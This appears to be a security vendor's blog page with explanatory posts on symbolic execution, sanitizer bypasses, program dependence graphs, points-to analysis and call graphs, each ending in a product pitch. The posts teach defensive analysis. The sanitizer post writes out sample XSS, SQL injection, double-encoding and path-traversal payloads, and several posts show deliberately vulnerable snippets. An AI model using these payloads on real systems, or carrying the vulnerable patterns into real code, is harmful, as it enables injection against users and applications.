    Prove reachability instead of matching sink shapes, so you follow the specific value through the specific branches across wrappers and call boundaries. For logic bugs like broken access control, you need reasoning about what the app should allow, not pattern matching. See reachability analysis for security for the mechanics.


    Put an autonomous researcher on your own systems

    UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, and a say in what it looks for. If your team ships software worth pressure testing, apply to the design partner program.

  • Symbolic Execution Explained

    Symbolic Execution Explained

    Most program analysis runs code with real values: you pass in the number 5, the string “admin”, a JSON body, and you watch what happens. Symbolic execution does something different. Instead of a concrete value, it feeds the program a symbol that stands for any possible input, then works out, branch by branch, exactly which inputs would drive execution down each path. That lets it answer a precise question: what input reaches this specific line?

    What symbolic execution actually does

    Pick a small function. It takes an amount and a balance and decides whether a withdrawal is allowed.

    def withdraw(amount, balance):
        if amount > balance:
            return "denied"
        return balance - amount

    A normal run needs numbers. You call withdraw(30, 20) and get “denied”. Symbolic execution skips the numbers. It treats amount as a symbol, call it A, and balance as a symbol B. Then it walks the code. When it hits the if, it cannot pick a side, because it does not know the values. So it forks. It follows both branches and remembers, for each one, the condition that had to be true to get there. That remembered condition is the path constraint.

    • Path one takes the if. Its path constraint is A > B. Any input where the amount is larger than the balance lands here and returns “denied”.
    • Path two falls through. Its path constraint is A <= B. Any input where the amount is at most the balance lands here and returns the new balance.

    Now the useful step. A constraint solver takes a path constraint and hands back concrete values that satisfy it, or tells you none exist. Ask it to satisfy A > B and it might return A = 1, B = 0. Ask it to satisfy A <= B and it might return A = 0, B = 0. You now have a real test input for each path, derived from the code itself rather than guessed.

    Why symbolic execution matters for finding bugs

    The point is not to enumerate paths for their own sake. The point is to prove that a dangerous line is reachable with a specific input. Take a function with a clear flaw.

    def write_slot(n, table):
        # table has exactly 8 slots
        if n > 100:
            table[n] = 1   # n is far past the end of table
        return table

    The write on line four is out of bounds whenever the branch is taken. Symbolic execution treats n as a symbol, reaches the if, and records the path constraint n > 100 for the branch that performs the write. Hand that to the solver and it returns something like n = 101. That is not a maybe. It is a concrete input that drives the program to the bad line, which you can drop straight into a test and watch fail.

    A path constraint plus a solver turns “this line looks reachable” into “here is the exact input that reaches it.”

    This is the difference between a warning and a proof. A cheaper analysis might flag that line as suspicious. Symbolic execution can produce the input that triggers it, which is the evidence a developer needs to believe the finding and fix it.

    The honest limit: path explosion

    There is a hard ceiling, and it is worth being blunt about it. Every branch forks the analysis into more paths. Two if statements in a row give four paths. Ten give more than a thousand. A loop that can run an unknown number of times multiplies paths on every iteration. This is path explosion, and it is the reason pure symbolic execution does not scale to a whole large program on its own.

    Picture a request handler with twenty branches feeding into a parser with its own loops. The number of distinct paths is astronomical, and the solver has to reason about the constraints along each one. You run out of time or memory long before you finish. Anyone who tells you symbolic execution just scans your entire codebase and prints every bug is skipping this part.

    How it fits with cheaper analysis

    The way to use symbolic execution well is to point it at a small target, not the whole program. You let a lighter analysis do the wide search, then spend the expensive symbolic work only where it pays off. A common shape looks like this:

    • Run a fast, whole program pass to find a candidate location, for example a memory write or a query built from user input that might be reachable from an entry point.
    • Use reachability analysis to check whether any path even connects the input to that location. If nothing reaches it, you stop and spend nothing more.
    • Only for the candidates that survive, run symbolic execution on that slice to produce the actual input that reaches the line, or to prove that the path constraint is unsatisfiable and the warning was a false alarm.

    That last case matters as much as the first. When the solver reports that a path constraint has no solution, it has proven the path is infeasible. That is a clean way to rule out a candidate rather than leave it as noise a person has to triage by hand.

    A structural model of the code makes the handoff cleaner. When your candidates come out of a code property graph, each one already carries the path from input to sink, so the symbolic step knows exactly which slice to solve instead of the whole function.

    Concolic execution in one line

    There is a middle option worth knowing by name. Concolic execution mixes concrete and symbolic: it runs the program with a real input to pick one concrete path, keeps the symbolic constraints for the branches along that path, then flips one constraint and asks the solver for an input that takes the other side, which steers exploration toward new paths without forking on every branch at once.

    The takeaway

    Symbolic execution is a precise tool with a narrow reach. It replaces guessed inputs with symbols, records a path constraint at every branch, and uses a solver to turn a constraint into the exact input that reaches a line, or to prove no such input exists. It cannot swallow a whole large program because paths explode, so it works best as the proving step after a cheaper analysis has narrowed the search. For more on where broad scanning ends and focused reasoning begins, read scanners vs research. Proving that a real input reaches a real flaw, rather than listing patterns that might matter, is exactly the kind of verification UnboundCompute is built around, and you can read how we think about it on our about page.

    Frequently asked questions

    What is symbolic execution in simple terms?

    Instead of running a program with real values, symbolic execution feeds it a symbol that stands for any possible input. At each branch it forks and records the condition that had to be true to take that path, called a path constraint. A constraint solver then turns a path constraint into a concrete input, for example the exact value that reaches a vulnerable line.

    What is a path constraint?

    A path constraint is the set of conditions that must all hold for execution to follow one particular path. For a function with if amount > balance, the branch that is taken has the path constraint amount > balance and the branch that falls through has amount <= balance. A solver reads a path constraint and returns concrete inputs that satisfy it, or reports that none exist.

    What is path explosion and why does it limit symbolic execution?

    Every branch forks the analysis into more paths, so two ifs give four paths, ten give over a thousand, and a loop multiplies paths on each iteration. This is path explosion, and it is why pure symbolic execution does not scale to a whole large program on its own. The fix is to point it at a small slice that a cheaper analysis has already flagged, not the entire codebase.

    How is concolic execution different from symbolic execution?

    Concolic execution mixes concrete and symbolic. It runs the program with a real input to pick one concrete path, keeps the symbolic constraints for the branches along that path, then flips one constraint and asks the solver for an input that takes the other side. This steers exploration toward new paths without forking on every branch at once.


    Put an autonomous researcher on your own systems

    UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, and a say in what it looks for. If your team ships software worth pressure testing, apply to the design partner program.

  • Why Sanitizers Get Bypassed

    Why Sanitizers Get Bypassed

    A sanitizer is the piece of code that cleans user input before it reaches a database, an HTML page, or a shell. When it works, an attacker cannot smuggle a payload through. A sanitizer bypass is what happens when that cleaning looks correct in review but still lets something dangerous slip past at run time. This post walks through the real reasons sanitizers fail, with small safe examples, and shows how to close each gap.

    Why a sanitizer bypass happens even when the code looks right

    Most bypasses are not exotic. They come from a handful of mistakes that read as fine in a pull request. The value gets escaped, so the reviewer nods and moves on. The problem is that escaping is only correct for one destination, and the value often ends up somewhere else. Below are the five causes that show up again and again.

    1. Wrong context: escaping for the body, landing in an attribute

    Output encoding depends on where the value lands. Encoding built for HTML body text does not protect an attribute, a script block, or a URL. Take a function that escapes <, >, and &. That is right for body text. Now watch it land in an attribute:

    value = escape_html_body(user_input)
    html = "<img src=x title=" + value + ">"

    The attribute has no quotes, so the attacker sends x onerror=alert(1). There is no < or > to escape, so the body encoder passes it straight through, and the browser reads a new attribute. The same value dropped into an unquoted attribute, a javascript: URL, or an inline <script> each needs a different encoding. If you want the deeper mechanics of how this becomes script execution, read what XSS is and how it works.

    2. Order: clean the value, then dirty it again

    A sanitizer only protects the exact string it returned. If the code changes that string afterward, the guarantee is gone. The common shape is sanitize, then concatenate or decode:

    safe = sanitize_path(user_file)      # strips ../
    full = base_dir + "/" + safe
    full = url_decode(full)              # brings ../ back

    The decode step runs after the cleaning, so %2e%2e%2f turns back into ../ once the guard is no longer looking. The value was clean for one moment and dirty by the time it reached the file system. Sanitize as late as possible, right at the point of use, and never transform the result afterward.

    3. Blocklist gaps: filtering known bad instead of allowing known good

    A blocklist tries to name every bad string. Attackers only need one name you forgot. Suppose a filter strips the word script to stop injection:

    clean = user_input.replace("script", "")

    The attacker sends scrscriptipt. The filter removes the inner script, and the two halves join into script again. One pass, one gap, full bypass. An allowlist flips the logic. Instead of listing what is forbidden, you define exactly what is allowed and reject the rest.

    if not re.fullmatch(r"[a-z0-9_]{1,32}", username):
        reject()

    Now there is nothing to forget. Anything outside the allowed set is gone by definition, and a new trick does not open a new hole.

    4. Double encoding and partial decoding

    Layers of decoding are a classic way to walk a payload past a check. The value is encoded twice. The sanitizer decodes once, sees something harmless, and passes it on. A later layer decodes again and reveals the real payload.

    input:      %253Cscript%253E
    sanitizer:  decodes once -> %3Cscript%3E   (looks safe, no < yet)
    framework:  decodes again -> <script>      (payload restored)

    The check ran on the wrong form of the data. Decode fully and exactly once, to a single known form, before you validate. Then validate that final form and never decode again downstream. Deciding where in the pipeline this belongs is a sources and sinks question, covered in sources and sinks explained.

    5. A custom sanitizer a scanner does not recognize

    Teams often write their own cleaning function. A static analysis tool models a set of known sanitizers. Yours is not in that set, and two opposite errors follow. The tool reports a false negative when your custom function is actually broken but the tool assumes any function named clean() made the value safe, so it stays silent on a real bypass. It reports a false positive when your function is genuinely correct but the tool has never heard of it, so it flags a safe value as tainted. Both waste time in different directions. We go deeper on the noisy side of this in why SAST has false positives.

    A sanitizer does not make a value safe in general. It makes a value safe for one destination, at one moment, in one exact form. Break any of those three and the payload comes back.

    A worked example: one input, three sinks

    Picture an invented notes app called Acme Notes. A user sets a display name, and that name is shown in three places: the page body, a link attribute, and a search query. The developer writes one sanitize() that escapes HTML angle brackets and reuses it everywhere.

    • Body: the name renders as text. The angle bracket escape is correct here, so this sink is safe.
    • Attribute: the name lands in href="/u/NAME". A value of " onmouseover=steal() needs attribute encoding, which this sanitizer never applied, so it breaks out.
    • Query: the name is concatenated into SQL. Angle brackets mean nothing to a database, so ' OR '1'='1 passes untouched into the query.

    One function, three destinations, two bypasses. The fix is not a smarter sanitize(). It is choosing the right defense at each sink: attribute encoding for the link, and a parameterized query for the database so the name is bound as data and never parsed as SQL.

    How to prevent a sanitizer bypass

    The theme across all five causes is the same. Match the defense to the destination, and apply it at the last possible moment. Concrete rules:

    • Encode at the sink, in the right context. Pick body, attribute, script, or URL encoding based on where the value actually lands, not where you assume it lands.
    • Prefer allowlists. Define what is valid and reject everything else, instead of naming bad strings you have to keep updating.
    • Use parameterized queries. For databases, bind values as parameters so input is data, never code. This removes the whole class of SQL bypass.
    • Validate on the final decoded form. Decode once to a known form, validate that, and do not transform the result afterward.
    • Validate at the right layer. Clean for the destination at the destination, not in a generic pass three functions earlier where the context is unknown.

    For more patterns in this space, browse the injection and input category.

    A sanitizer bypass is rarely a missing filter. It is usually a filter aimed at the wrong context, run at the wrong time, or trusted by a tool that never modeled it. Finding these means understanding what an app assumes about its own inputs, which is exactly the kind of assumption testing UnboundCompute is built to do. Learn how we think about it on our about page.

    Frequently asked questions

    What is a sanitizer bypass?

    A sanitizer bypass is when input cleaning that looks correct in review still lets a dangerous value through at run time. The usual causes are escaping for the wrong context, cleaning the value and then changing it again, blocklist gaps, double encoding, and custom filters a scanner does not recognize.

    Why does escaping for HTML not stop every injection?

    Escaping is correct only for the destination it was built for. HTML body encoding protects text between tags, but the same value in an unquoted attribute, a script block, a URL, or a SQL query needs a different defense. Reusing one encoder everywhere leaves the other sinks open.

    Is an allowlist better than a blocklist?

    Usually yes. A blocklist names bad strings and fails the moment an attacker finds a variant you did not list, such as nesting so a removed word rejoins. An allowlist defines exactly what is valid and rejects everything else, so there is nothing to forget and new tricks do not open new holes.

    How do you prevent a sanitizer bypass?

    Encode for the exact context at the sink, use allowlists for input validation, use parameterized queries so database input is never parsed as code, decode once to a known form before validating, and never transform a value after it has been cleaned.


    Put an autonomous researcher on your own systems

    UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, and a say in what it looks for. If your team ships software worth pressure testing, apply to the design partner program.

  • The Program Dependence Graph Explained

    The Program Dependence Graph Explained

    When an analyst asks “what can affect this dangerous call”, they are really asking a graph question. A program dependence graph answers it. It is a way to draw a function so that the edges show which statements feed which other statements, and which statements only run because of a branch. Once you have that picture, you can start at any line and read off exactly what influences it.

    What a program dependence graph is

    A program dependence graph has one node per statement and two kinds of edge. That is the whole idea. The value of the graph is that it drops the parts of a program that do not matter for a given question and keeps the parts that do.

    • Data dependence. Statement B uses a value that statement A defined. If A writes total and B reads total with no other write in between, there is a data dependence edge from A to B.
    • Control dependence. Whether statement B runs at all depends on a branch condition at statement A. If B sits inside an if and the test at A decides whether that body executes, there is a control dependence edge from A to B.

    Regular source code hides both of these behind line order. Line 8 might depend on line 2 and ignore lines 3 through 7 completely. The program dependence graph makes that real relationship explicit so you do not have to hold it in your head.

    A small function, edge by edge

    Here is a short function that charges a user. Read it once, then we will label every statement and list its edges.

    def charge(user_id, amount):
        balance = get_balance(user_id)          # S1
        fee     = amount * 0.02                  # S2
        total   = amount + fee                   # S3
        if balance >= total:                     # S4
            record = build_record(user_id, total)  # S5
            db.execute(record)                   # S6
        return total                             # S7

    The data dependence edges

    Follow each value from where it is written to where it is read.

    • S3 reads fee, so S2 to S3.
    • S4 reads balance and total, so S1 to S4 and S3 to S4.
    • S5 reads total, so S3 to S5.
    • S6 reads record, so S5 to S6.
    • S7 reads total, so S3 to S7.

    The two parameters, user_id and amount, are the roots. They feed S1, S2, and S5 directly.

    The control dependence edges

    Now ask which statements only run because a test allowed them to.

    • S5 and S6 live inside the if at S4. So S4 to S5 and S4 to S6.
    • S1, S2, S3, S4, and S7 run every time the function is called. They have no control dependence inside this function.

    Notice that data and control are different questions with different answers. S6 has no data edge from S4, because it does not read the boolean the test produced. But it has a control edge from S4, because the branch decides whether S6 happens at all. Miss either edge type and your picture of the function is wrong.

    Program slicing: reading the graph backward and forward

    Once the edges exist, slicing is just a walk. A backward slice from a statement follows dependence edges in reverse to collect every statement that can affect it. A forward slice follows edges the other way to collect everything that statement affects.

    Take the backward slice from S6, the database call. Walk the edges into it and keep going.

    • S6 pulls in S5 by data and S4 by control.
    • S5 pulls in S3 by data and S4 by control.
    • S4 pulls in S1 and S3 by data.
    • S3 pulls in S2 by data.
    • S2 and S1 pull in the parameters.

    The backward slice from S6 is {S1, S2, S3, S4, S5} plus both parameters. Look at what fell out: S7, the return total. It reads total, so it is part of the function, but nothing about it can change what S6 does. The slice removed it correctly. You now hold the smallest set of statements that decides the behavior of that one call.

    A backward slice from a dangerous call is a complete, honest answer to “what can influence this line”, with the unrelated code already deleted.

    Why the program dependence graph matters for security

    An analyst looking at a risky operation asks one question first. What reaches this? If db.execute can run attacker controlled text, that is a possible injection. If it cannot, the call is fine. The backward slice from that sink is exactly that answer, computed instead of guessed.

    Say a request handler ends in a raw query. The backward slice tells you every statement between the request parameter and the query string. If a validation step or an escaping call sits on that slice, the input is checked before it reaches the sink. If the slice runs from the parameter straight into the query with nothing in between, you have found the shape of a real bug. The graph turns a vague worry into a finite list of statements to read.

    Control dependence carries its own weight here. An access check is usually an if that guards the sensitive action. If the sink has no control edge from that check, the check does not actually gate it, and the guard is decorative. That gap is the kind of thing a scanner that only matches text will walk right past. For more on why understanding an app beats matching patterns, read scanners vs research.

    Where it sits in the bigger picture

    The program dependence graph is not the whole story on its own. It is one layer that a richer structure merges together. A code property graph stitches the syntax tree, the control flow graph, and the program dependence graph into a single queryable model, so you can ask about structure and dependence in one place.

    Slicing also assumes you already know where each value is defined and used, across function calls and reassignments. Computing that is the job of data flow analysis, which works out the definitions that can reach each use. The program dependence graph is the map. Data flow analysis is how the map gets drawn.

    The takeaway

    Two edge types, one node per statement, and a walk in either direction. That is enough to answer the question an analyst cares about most: given a dangerous call, show me only the code that can steer it. A backward slice from a sink hands you that set with nothing extra to read. This is the kind of structural reasoning UnboundCompute leans on when it studies how an app is meant to work and looks for the assumptions that quietly fail. You can read more about that approach on our about page.

    Frequently asked questions

    What are the two kinds of edge in a program dependence graph?

    A program dependence graph has data dependence edges and control dependence edges. A data dependence edge runs from statement A to statement B when B reads a value that A defined. A control dependence edge runs from a branch at A to B when the test at A decides whether B runs at all. One node per statement, two edge types, and that is the whole model.

    What is program slicing?

    Slicing is a walk over the dependence edges. A backward slice starts at one statement and follows edges in reverse to collect every statement that can affect it. A forward slice follows edges the other way to collect everything that statement affects. The result is the smallest set of statements that matters for the question you asked.

    Why is a backward slice useful for security?

    A backward slice from a dangerous call, such as a database query or a shell command, is exactly the set of statements that can influence that call. If the slice runs from a request parameter straight into the sink with no validation or escaping on the way, you have found the shape of an injection bug. If a check sits on the slice, the input is gated before it reaches the sink.

    How does the program dependence graph relate to a code property graph?

    The program dependence graph is one of the layers a code property graph merges. A code property graph stitches the syntax tree, the control flow graph, and the program dependence graph into a single model you can query, so you can ask about structure and dependence at the same time. Data flow analysis is what computes the definitions and uses that the dependence edges rest on.


    Put an autonomous researcher on your own systems

    UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, and a say in what it looks for. If your team ships software worth pressure testing, apply to the design partner program.

  • Points-to Analysis for Security

    Points-to Analysis for Security

    When a security tool reads your code, it keeps asking one quiet question: when I see the name x, which object in memory does it stand for right now? That question is what points-to analysis answers, and getting it right is the difference between a real bug and a wasted afternoon chasing one that was never there. This post is about heap and alias reasoning only, the part that decides whether two names touch the same thing.

    What points-to analysis actually computes

    A variable in source is just a label. The object it refers to lives on the heap, and one object can wear many labels at once. Points to analysis builds a map: for each variable or pointer at each point in the program, which set of objects could it be holding. If the set has one object, the tool knows exactly what you are touching. If the set has ten, the tool is honest that it is not sure.

    Here is the plain version:

    • An object is a thing on the heap, usually named by where it was created, like “the dict made on line 12”.
    • A variable points to a set of those objects.
    • Two variables alias when their sets overlap, meaning they can name the same object.

    Aliasing is the whole game. If you write to memory through one name, every other name that aliases it sees the change too. Miss that and your model of the program is wrong.

    Aliasing: two names, one object

    Look at this Python snippet:

    profile = load_profile(request)   # object A, tainted
    view = profile                    # view now points to object A too
    view.bio = escape(view.bio)       # sanitize through 'view'
    html = render(profile.bio)        # use through 'profile'

    Does the last line ship raw user input into your HTML? It depends entirely on whether view and profile point to the same object. They do here, because view = profile copies the reference, not the object. So view.bio and profile.bio are the same field. The escape call cleans it, and the render is safe.

    Now change one line:

    profile = load_profile(request)   # object A, tainted
    view = copy_profile(profile)      # object B, a fresh copy
    view.bio = escape(view.bio)       # sanitize object B
    html = render(profile.bio)        # still object A, still tainted

    Same shape, opposite verdict. Now view points to object B and profile still points to object A. The sanitizer cleaned the copy, and the render sends the untouched original straight into the page. That is a real cross site scripting bug.

    The two snippets read almost identically. Only the heap tells them apart, and only a tool that tracks which object each name holds can call one safe and the other a bug.

    A tool without alias reasoning has to guess. Guess that the sanitize always counts and it misses the second bug. Guess that it never counts and it screams about the first one, which is fine. That guessing is where a lot of scanner noise is born.

    Why this decides real from false

    Injection findings all have the same skeleton: tainted input reaches a dangerous sink. The catch is that the value often passes through several names, assignments, and function calls on the way. A sanitizer might sit on one of those names. Whether it protects the value at the sink comes down to a single question: is the sanitized name the same object as the one that reaches the sink? Answer it wrong and you either report a clean path as vulnerable or wave a live bug through. Both are expensive.

    Flow sensitivity and context sensitivity: accuracy versus cost

    Points to analysis comes in grades. The two knobs that matter most are flow sensitivity and context sensitivity, and both trade precision for compute.

    Flow sensitivity

    A flow insensitive analysis ignores statement order. It says “across this whole function, x can point to any object it ever pointed to.” Cheap, but sloppy. Consider:

    x = safe_object()
    use(x)              # x is safe here
    x = tainted_object()
    use(x)              # x is tainted here

    A flow insensitive tool merges both assignments and decides x might be tainted at the first use too, which is false. A flow sensitive tool respects the timeline: safe at line 2, tainted at line 4. More accurate, more memory, more time, because it now tracks the map at every point rather than once per function.

    Context sensitivity

    Context sensitivity is the same idea across function calls. When one helper is called from two places, does the analysis keep the calls apart or blur them together?

    def wrap(v):
        return Box(v)
    
    a = wrap(user_input())   # Box holds tainted
    b = wrap(config_value())  # Box holds safe

    A context insensitive tool analyzes wrap once and merges its callers, so it thinks both a and b might hold tainted data. A context sensitive tool treats each call site on its own and keeps b clean. The precision costs you: the analysis effectively re examines the callee per context, and contexts multiply fast on a large codebase. Every serious tool picks a budget, some bounded amount of context, and lives with the approximation past it.

    Points-to analysis and the false positive problem

    Here is the security payoff. A finding that says “tainted value reaches a sink” is only trustworthy if the tool knows the tainted name and the sink name are really the same object. When it cannot tell aliases apart, it falls back to conservative guessing, and conservative guessing on the heap is a top source of false positives.

    Picture a request handler that stashes user input in a shared dictionary, hands one entry to a validator, and passes a different entry to a query builder. A weak analysis sees “user input went into the dictionary, dictionary data reached the query” and files a SQL injection report. A tool with sharper heap reasoning sees that the validated entry and the queried entry are separate objects, and that the queried one was never tainted. One less false alarm, one more reason a developer keeps trusting the tool.

    This is why heap reasoning is not an academic detail. It is the machinery that separates a genuine tainted path from a coincidence of names. If you want the bigger picture of why static tools cry wolf, read why SAST has false positives. Points to analysis is one of the graph layers that sits underneath a modern representation of code, described in what is a code property graph.

    Where the limits are

    No analysis nails the heap perfectly, and honest tooling admits it. Dynamic dispatch, reflection, function pointers, and data that arrives from outside the program all force the analysis to widen its guesses. The practical answer is not to demand a perfect map but to know when the map is fuzzy and treat those findings with extra care, human review included.

    That gap between what a name says and what the heap actually does is exactly the kind of thing an autonomous researcher that reasons about how an app really behaves is built to check, rather than trusting the pattern at face value. If that is the way you want your code looked at, here is who we are, and here is more on scanners versus research.

    Frequently asked questions

    What does points-to analysis do?

    It computes, for each variable or pointer at a point in the program, the set of heap objects it could refer to. A single object means the tool knows exactly what you are touching, while a large set means it is uncertain. Security tools use this map to decide whether a tainted value and a sink really name the same object.

    What is aliasing and why does it matter for a bug?

    Aliasing is when two names point to the same object, so writing through one name is visible through the other. It decides real bugs from false ones. If you sanitize a value through one reference but use it through an alias, the fix only counts when both references point to the same object. When they point to separate objects, the original stays tainted and the bug is real.

    What is the difference between flow sensitivity and context sensitivity?

    Flow sensitivity respects statement order, so a variable that is safe on one line and tainted on the next is tracked as two different states. Context sensitivity keeps calls to the same function separate, so a helper called with safe data in one place and tainted data in another does not get merged. Both raise accuracy and both cost more compute, so tools pick a budget.

    How does heap reasoning cut false positives?

    A tainted value often passes through many names before it reaches a sink. If the analysis cannot tell aliases apart, it guesses conservatively and reports paths that are actually safe. Sharper heap reasoning sees that a validated object and a queried object are separate, so it drops the false alarm and only reports paths where a tainted object truly reaches the sink.


    Put an autonomous researcher on your own systems

    UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, and a say in what it looks for. If your team ships software worth pressure testing, apply to the design partner program.

  • Call Graph Analysis Explained

    Call Graph Analysis Explained

    Most serious bugs do not live in one function. Input arrives in one place, travels through a few helpers, and reaches a dangerous line somewhere else entirely. To follow that path you need a map of which function calls which, and building that map is what call graph analysis gives you. This post explains what a call graph is, why it is the backbone of any analysis that crosses function boundaries, and where it gets hard and honestly stays an approximation.

    What a call graph is

    A call graph is a simple idea drawn out in full. Each function in your program is a node. Each call from one function to another is an edge, drawn from the caller to the callee. That is the whole structure. If handleRequest calls parseBody, and parseBody calls saveToDb, you get three nodes and two edges, a little chain you can walk.

    Once you have that map, two questions become answerable. Point at a function and ask who calls this, and you follow the edges backward. Ask what does this call, and you follow them forward. Those two questions sound small, but almost every question that matters in security is built out of them.

    Why call graph analysis is the backbone

    Here is the reason it matters. A bug where user input arrives in one function and reaches a sink in another is invisible if you only read one function at a time. You have to connect the two, and the call graph is the thing that connects them.

    Take a small example spread across three functions:

    def handle(req):
        name = req.query["name"]
        return build_page(name)
    
    def build_page(value):
        return render(value)
    
    def render(text):
        return "<div>" + text + "</div>"

    The tainted value enters in handle. It is passed to build_page, then to render, where it lands in raw HTML with no escaping. That is a cross site scripting bug. But no single function looks wrong on its own. handle just reads a query parameter. render just concatenates two strings. Only when you walk the edges from handle to build_page to render does the flow appear. Tracking a tainted value across those hops is called interprocedural taint analysis, and you can read more on interprocedural taint analysis. None of it works without the call graph underneath.

    A single function almost never looks guilty. The bug lives in the edges between functions, which is exactly what a call graph makes visible.

    Direct calls are easy

    When the call target is written in the text, the edge is obvious. saveToDb(row) names the function it calls. A parser reads that line, sees the name, and draws an edge to saveToDb. This is the easy case, and for a lot of straight line code it is most of the graph. Direct calls are why call graph tools feel reliable at first glance.

    Indirect calls are the hard part

    The trouble starts when the target is not written in the text. Plenty of real code decides at run time which function to call:

    • Virtual methods. animal.speak() could run the dog version or the cat version depending on the object’s real type.
    • Function pointers. A C struct holds a pointer to a handler that gets set somewhere far away and called later.
    • Callbacks. You pass a function into sort or an event listener, and the library calls it back with no name at the call site.
    • Dynamic dispatch and reflection. Code that does getattr(obj, method_name)() picks the target from a string, sometimes a string that came from input.

    In every one of these, the call site does not say who it calls. The actual target is decided by data that flows in at run time. So the analysis has to guess, and a call graph stops being a fact and becomes an approximation.

    Overapproximation versus underapproximation

    There are two ways to be wrong about an indirect call, and they fail in opposite directions.

    • Overapproximation adds every target that could possibly be called. If a function pointer might point at any of five handlers, draw edges to all five. This is safe, because you never miss a real call, but it is noisy. You end up chasing flows through targets that never actually run, and the graph gets crowded.
    • Underapproximation only draws edges it is sure about and skips the rest. This is quiet and clean, but unsafe, because a target you dropped might be the exact one the attacker reaches. A missed edge is a missed bug.

    Good tools lean toward overapproximation for anything security relevant, then work to trim the noise, because a false path costs you time but a missing path costs you the finding. The honest framing is that no call graph over a language with dynamic dispatch is exact. It is a careful estimate, and knowing which way it errs tells you how to read its results.

    Where text search quietly fails and a real graph does not

    The clearest reason to build a real call graph instead of grepping is that names lie. Search finds the string you typed. It does not follow a rename or an alias.

    Suppose a function is imported under a new name:

    from db import execute as run_query
    
    def save(row):
        run_query("INSERT ...")   # this calls db.execute

    Now search your codebase for callers of execute. The line above never matches, because the text says run_query. To a person skimming grep results, save looks like it has nothing to do with execute. It is a hidden caller. A call graph built from a real parse resolves the import, sees that run_query is a local alias for db.execute, and draws the edge anyway. Ask it who calls execute and save shows up. The same holds for a method renamed in a subclass, a wrapper that forwards a call, or an object bound to a shorter local variable. Text does not track identity across a rename. A graph built from the compiler’s own understanding does.

    This is what a precise call graph from a real parse is for. It answers who calls this and what does this call without dropping an aliased caller because the letters changed. The public engine we build for this is lachesis, which reads the code the way the compiler does rather than the way search does. It is the same structural idea behind a code property graph, which you can read about in what is a code property graph.

    Reading a call graph honestly

    Because indirect calls make the graph an estimate, treat every edge as evidence with a confidence, not as a verdict. A direct call is solid. A function pointer resolved through data flow is a good guess. A call through reflection off an input string may be unresolved, which means the tool is telling you it does not know, not that nothing is called there. That last case is where a human still has to read the source. Knowing the difference between scanners that pattern match and research that reasons about a program is its own topic, covered in scanners vs research.

    A call graph is the map that lets an analysis cross function boundaries at all, and getting the indirect edges right is most of the work. That mapping is exactly the groundwork an autonomous researcher needs before it can reason about how one function’s assumptions break in another, which is what we build toward at UnboundCompute.

    Frequently asked questions

    What is a call graph?

    A call graph is a map of a program where each function is a node and each call from one function to another is an edge drawn from caller to callee. If handle calls build_page and build_page calls render, you get three nodes and two edges you can walk. It lets you ask who calls a function and what a function calls.

    Why does call graph analysis matter for finding bugs?

    Many serious bugs span more than one function. Input arrives in one place and reaches a dangerous line somewhere else, so no single function looks wrong on its own. The call graph connects the caller to the callee, which is what lets an analysis follow a tainted value across function boundaries and see the flow that a single function view hides.

    Why are indirect calls hard for a call graph?

    With virtual methods, function pointers, callbacks, and reflection, the call target is decided by data at run time and is not written at the call site. The tool has to estimate the targets, so the graph becomes an approximation. It can overapproximate by adding every possible target, which is safe but noisy, or underapproximate by dropping uncertain ones, which is quiet but can miss a real bug.

    Why not just grep for who calls a function?

    Text search only finds the string you typed, so it misses a caller when a function is renamed or imported under an alias. If db.execute is imported as run_query, a search for execute never matches the call. A call graph built from a real parse resolves the alias and still draws the edge, so the hidden caller shows up.


    Put an autonomous researcher on your own systems

    UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, and a say in what it looks for. If your team ships software worth pressure testing, apply to the design partner program.